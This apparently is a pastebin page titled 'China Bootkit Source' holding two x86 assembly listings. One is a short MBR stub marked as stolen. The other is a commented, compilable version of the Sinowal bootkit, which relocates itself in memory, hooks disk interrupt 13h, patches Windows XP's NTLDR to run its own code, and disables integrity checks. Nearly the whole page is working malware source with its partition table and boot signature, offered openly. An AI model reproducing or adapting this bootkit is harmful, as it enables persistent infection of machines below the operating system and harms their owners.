All pastes #1886370 Raw Edit

China Bootkit Source

public text v1 · immutable
#1886370 ·published 2010-06-19 12:17 UTC
rendered paste body
[Stolen Source]

; create 16 bit code and assembly only instructions up to 386 instruction set
[bits 16]
CPU 386

xor     ax, ax
mov     ss, ax
mov     sp, 7C00h
sti
push    ax
pop     es
push    ax
pop     ds

push ds
pushad

cld
mov     si, 7C1Bh
mov     di, 61Bh
push    ax
push    di
mov     cx, 1E5h
rep movsb
retf

xor bx,bx
mov es,bx                                               ; segment 0
mov ax,0x201                                            ; function read sectors, read 1 sector
mov cx,10                                               ; read original boot code (sector 10), boot sector
mov dx,80h                                              ; boot drive
mov bh,0x7c                                             ; address 7C00h
int 13h
popad
pop ds
; execute original Master Boot Record
jmp word 0000h:7C00h



times 510-($-$$)  db 0

Boot_Signature            dw  0AA55h 




[Original]

;  Sinowal Bootkit

;  called "Banken Rootkit" or referred as "Banken Trojaner"

;  www.viennacomputerproducts.com/reverseengineering


; compilable version, Stoned-Project (www.stoned-vienna.com)
;   - Attacking Windows XP
;   - Memory resistent up to Windows Kernel
;   - loads payload from hard disk


; create 16 bit code and assembly only instructions up to 386 instruction set
[bits 16]
CPU 386

; no origin used, this code is portable


cli
xor bx,bx

; set up a new clean stack
mov ss,bx
mov [ss:7BFEh],sp
mov sp,7BFEh

; store registers - will be later restored when executing original MBR
push ds
pushad

cld

; copy itself to end of memory
;   BIOS Data Area: MEM 0040h:0013h - BASE MEMORY SIZE IN KBYTES
mov ds,bx
mov si,0x413                                            ; linear address of 0040h:0013h
sub [si],word 2                                         ; -  2048 kbytes, 4 sectors
lodsw
shl ax,6
mov es,ax                                               ; es = address of free memory (2048 bytes)
mov si,7C00h
xor di,di
mov ecx,256                                             ; copy 512 bytes (the bootloader)
rep movsw

; read boot virus data! (appending the new memory to the moved bootloader sector)
mov ax,0x202                                            ; function read sectors, read 2 sectors
mov cl,61                                               ; sector 60, 2 data stuff sectors
mov dx,80h                                              ; boot drive (default)
mov bx,di                                               ;  = pointer after the 512 copied bytes
int 13h

; hook int 13h
xor bx,bx
mov eax,[bx + 13h * 4]                                  ; IVT, vector 13h
mov [bx + 13h * 4],word Interrupt_Vector_13_hook        ; new address to jump to on "int 13h" instruction
mov [es:Interrupt_Vector_13_Return_Address + 3],eax     ; store the old jump address
mov [bx + 13h * 4 + 2],es                               ; set segment to jump to on int 13h

; set address of copy
push es
push word Relocated_Bootloader

; ..and jump to copy
retf


Relocated_Bootloader:

; read original master boot record of Windows and execute it
sti
mov es,bx                                               ; segment 0
mov ax,0x201                                            ; function read sectors, read 1 sector
mov cx,63                                               ; read original boot code (sector 62), boot sector
mov dx,80h                                              ; boot drive
mov bh,0x7c                                             ; address 7C00h
int 13h

; restore registers
popad
pop ds
pop sp

; execute original Master Boot Record
jmp word 0000h:7C00h



; now our background "service" starts, we get control only by int 13
; the code is now located at the end of memory (most likely 9F400h)


Interrupt_Vector_13_hook:

pushf                                                   ; Interrupt Vector 13 hook

; check if functions "Read" or "Extended Read" are requested
cmp ah,42h                                              ; Extended Read?
jz Handle_Int13_Function
cmp ah,2h                                               ; Read
jz Handle_Int13_Function                                ; ...or read!

popf

Interrupt_Vector_13_Return_Address:

; jump to the original Int 13h handler (segment:offset will be patched dynamical)
jmp word 0000h:0000h


Handle_Int13_Function:

; execute int 13h read
mov [cs:Int_Patch_Function_Number + 1],ah               ; store function number (patch)
popf
pushf                                                   ; simulate "int 13h" instruction (store flags)
call [cs:Interrupt_Vector_13_Return_Address + 1]        ; forward the read sector command and return here
jc Exit_Int13_hook_ret                                  ; if error => exit to user

; set environment for int 13h hook handler
pushf
cli
push es
pushad                                                  ; push register contents, we modify it in our hook handler
cld

; load int 13h parameters set by user (and note normalize the param differences between normal read and extended read)
mov ah,0                                                ; transfered sectors (read: al, extended read: disk address packet.02h)
Int_Patch_Function_Number:
mov ch,0                                                ; restore function number (from the patch applied at @7A)
cmp ch,42h                                              ; if extended read special load values
jnz Int_Params_normalized

Extended_Read_set_Disk_Address_Packet:
lodsw                                                   ; load values from disk address packet
lodsw                                                   ;   +02h = [word] number of blocks to transfer
les bx,[si]                                             ;   +04h = transfer buffer

Int_Params_normalized:
test ax,ax                                              ; ax = number of sectors transfered
jnz Int_Params_SectorCount_set
inc ax                                                  ; sector count = minimum 1
Int_Params_SectorCount_set:


; now scan the read buffer for the signature of ntldr
;    ++   8B F0 85 F6 74 21/22 80 3D
;         ===>   Windows XP.NTLDR +26B9Fh
mov cx,ax
shl cx,0x9                                              ; sectors * 512
mov al,0x8b                                             ;   scan byte
mov di,bx                                               ; data buffer offset of sector
pusha
Scan_Read_Sector_loop:
repne scasb                                             ; scan Bootloader for 8Bh
jnz NTLDR_delete_routine                                ;   if not found ecx=0 => exit
nop
cmp [es:di],dword 0x74f685f0                            ; check around signatures
jnz Scan_Read_Sector_loop                               ; if not matching => next try
cmp [es:di+0x5],word 0x3d80
jnz Scan_Read_Sector_loop                               ; if not matching => next try
mov al,[es:di+0x4]
cmp al,0x21
jz Found_File_to_Infect
cmp al,0x22
jnz Scan_Read_Sector_loop

Found_File_to_Infect:
mov si,20Bh
cmp [cs:si],byte 0                                      ; in virus data (2 sectors)
jnz NTLDR_delete_routine                                ; if already infected => exit
mov [cs:si],al                                          ;    mark as infected and set in missing code byte

; infect ntldr
mov [es:di-0x1],word 15FFh                              ; ntldr (the code which jumps to the pointer)
mov eax,cs
shl eax,4
add ax,0x200
mov [cs:0x1fc],eax                                      ; set the pointer (this resides in ourself)
sub ax,0x4
mov [es:di+1],eax                                       ; ntldr (the code which jumps to the pointer)

;   0x9F4DB  INFECTION    written to 46B9F      on disk @ntldr.26B9Fh       FF 15, opcode.call dword
;   0x9F4EB  INFECTION    written to 9F5FC      on disk sector 0 at end     pointer to PM code (* = memory.9F600h, disk.sector60)
;   0x9F4F3  INFECTION    written to 46BA1      on disk @ntldr.26BA1h       pointer to the pointer

;  ; infected code in ntldr is now:      @ntldr.26B9Fh
;  00046b9f: (  32 Bit Code   w   ): call dword ptr ds:0x9f5fc       ; ff15fcf50900
;  00046ba5: (  32 Bit Code   inv ): cmp byte ptr ds:0x43aef8, 0x00  ; 803df8ae430000
;  00046bac: (  32 Bit Code   inv ): jz .+0x00000007                 ; 7407
;  00046bae: (  32 Bit Code   inv ): xor esi, esi                    ; 33f6
;  00046bb0: (  32 Bit Code   inv ): jmp .+0x00000255                ; e955020000
  
;  ; and was original:                   @ntldr.26B9Fh
;  00046b9f: (  32 Bit Code       ): mov esi, eax              ; 8bf0
;  00046ba1: (  32 Bit Code       ): test esi, esi             ; 85f6
;  00046ba3: (  32 Bit Code       ): jz .+0x00000021           ; 7421
;  00046ba5: (  32 Bit Code       ): cmp byte ptr ds:0x43aef8, 0x00 ; 803df8ae430000
;  00046bac: (  32 Bit Code       ): jz .+0x00000007           ; 7407

;  ; the infected code in the ntldr will be relocated to protected mode memory 0x00422a6f
;  ; it will jump to 9F600h which is stage 2 (executed by ntldr)
;  00422a6f: (                    ): call dword ptr ds:0x9f5fc ; ff15fcf50900


; scan the read buffer for a part of the ntldr
;    ++   83  C4 02 E9 00 00 E9 FD FF
;         ===>   Windows XP.NTLDR +1C81h
;         ===>   Windows XP.NTLDR +1C9Ch    this is the real searched one
NTLDR_delete_routine:
popa
mov al,0x83
; *** PROGRAMMING ERROR ***
; *** EDI AND ECX ARE NOT RESETTED HERE, IF MICROSOFT WOULD READ NTLDR AT ONCE THIS WOULD FAIL ***

Scan_Sector_loop_2:
repne scasb
jnz Restore_Flags_and_exit                                    ; if not found exit
cmp [es:di],dword 00E902C4h
jnz Scan_Sector_loop_2
cmp [es:di+0x4],dword 0FFFDE900h
jnz Scan_Sector_loop_2
mov [es:di-0x4],dword 83909090h                               ; set 3 bytes to instruction nop
and [es:di+0x6],word 0                                        ; modify jump operation, set highest byte to zero
jmp short Scan_Sector_loop_2                                  ; our signature occurs 2 times

; 1. @ntldr.1C81h

;  ; memory dump, @ntldr.1C81h, memory.21c81
;  0x0000000000021c7e <bogus+       0>:    0xe8    0x39    0x0c    0x83    0xc4    0x02    0xe9    0x00
;  0x0000000000021c86 <bogus+       8>:    0x00    0xe9    0xfd    0xff
  
;  ; memory disassembly, @ntldr.1C81h, memory.21c81
;  00021c7d: (  32 Bit Code   inv ): sbb eax, ebp                      ; 19e8        INVALID
;  00021c7f: (  32 Bit Code       ): cmp dword ptr ds:[ebx+eax*4], ecx ; 390c83
;  00021c82: (  32 Bit Code       ): les eax, ds:[edx]                 ; c402
;  00021c84: (  32 Bit Code       ): jmp .+0xfde90000                  ; e90000e9fd

;  ; modified memory dump
;  0x0000000000021c7e <bogus+       0>:    0x90    0x90    0x90    0x83    0xc4    0x02    0xe9    0x00
;  0x0000000000021c86 <bogus+       8>:    0x00    0xe9    0x00    0x00
  
;  ; modified disassembly
;  00021c7e: (                    ): nop                       ; 90
;  00021c7f: (                    ): nop                       ; 90
;  00021c80: (                    ): nop                       ; 90
;  00021c81: (                    ): add esp, 0x00000002       ; 83c402
;  00021c84: (                    ): jmp .+0x00e90000          ; e90000e900

; 2. @ntldr.1C9Ch

;  ; memory dump, @ntldr.1C9Ch, memory.21c9c
;  0x0000000000021c99 <bogus+       0>:    0xe8    0x1e    0x0c    0x83    0xc4    0x02    0xe9    0x00
;  0x0000000000021ca1 <bogus+       8>:    0x00    0xe9    0xfd    0xff
  
;  ; memory disassembly, @ntldr.1C9Ch, memory.21c9c
;  00021c98: (  32 Bit Code   inv ): sbb eax, ebp              ; 19e8        INVALID
;  00021c9a: (  32 Bit Code       ): push ds                   ; 1e
;  00021c9b: (  32 Bit Code       ): or al, 0x83               ; 0c83
;  00021c9d: (  32 Bit Code       ): les eax, ds:[edx]         ; c402
;  00021c9f: (  32 Bit Code       ): jmp .+0xfde90000          ; e90000e9fd

;  ; modified memory dump
;  0x0000000000021c99 <bogus+       0>:    0x90    0x90    0x90    0x83    0xc4    0x02    0xe9    0x00
;  0x0000000000021ca1 <bogus+       8>:    0x00    0xe9    0x00    0x00

;  ; modified disassembly
;  00021c99: (  32 Bit Code       ): nop                       ; 90
;  00021c9a: (  32 Bit Code       ): nop                       ; 90
;  00021c9b: (  32 Bit Code       ): nop                       ; 90
;  00021c9c: (  32 Bit Code       ): add esp, 0x00000002       ; 83c402
;  00021c9f: (  32 Bit Code       ): jmp .+0x00e90000          ; e90000e900

; the modification is done to bypass code integrity verification (even it's not evident from the patched lines)


Restore_Flags_and_exit:                                       ; everything done, exit interrupt 13h hook
popad
pop es
popf

Exit_Int13_hook_ret:
retf 2                                                        ; simulate "iretw" instruction, to preserve flags (especially flags.CF)




; language descriptions [unset]

times 1B5h-($-$$) db 0


; Microsoft Error linguistic messages [unused]

Error_Message_1_length  db  0
Error_Message_2_length  db  0
Error_Message_3_length  db  0


; Microsoft Disk Signature

times 440-($-$$)  db 0

disk_signature    dd  00000000h                   ; will be set/corrected by infector
                  dw  0


; Partition Table, 16 bytes each entry

times 1BEh-($-$$) db 0

Partition_Table_Entry_1:
    Partition_1_bootable  db  80h                 ; default boot partition (MS Windows)
    Partition_1_Start_CHS db  01, 01, 00
    Partition_1_Type      db  7                   ; NTFS file system
    Partition_1_End_CHS   db  0FEh, 0BFh, 08h
    Partition_1_Start_LBA dd  63                  ; NTFS file system starts, boot sector
    Partition_1_Sectors   dd  8AB67Fh             ; = 4 GB  (9090687 * 512 / 1024 / 1024 / 1024)
Partition_Table_Entry_2:
    Partition_2_bootable  db  0
    Partition_2_Start_CHS db  0, 0, 0
    Partition_2_Type      db  0
    Partition_2_End_CHS   db  0, 0, 0
    Partition_2_Start_LBA dd  0
    Partition_2_Sectors   dd  0
Partition_Table_Entry_3:
    Partition_3_bootable  db  0
    Partition_3_Start_CHS db  0, 0, 0
    Partition_3_Type      db  0
    Partition_3_End_CHS   db  0, 0, 0
    Partition_3_Start_LBA dd  0
    Partition_3_Sectors   dd  0
Partition_Table_Entry_4:
    Partition_4_bootable  db  0
    Partition_4_Start_CHS db  0, 0, 0
    Partition_4_Type      db  0
    Partition_4_End_CHS   db  0, 0, 0
    Partition_4_Start_LBA dd  0
    Partition_4_Sectors   dd  0


; here -2 values from the boot signature we will store a pointer


times 510-($-$$)  db 0

Boot_Signature            dw  0AA55h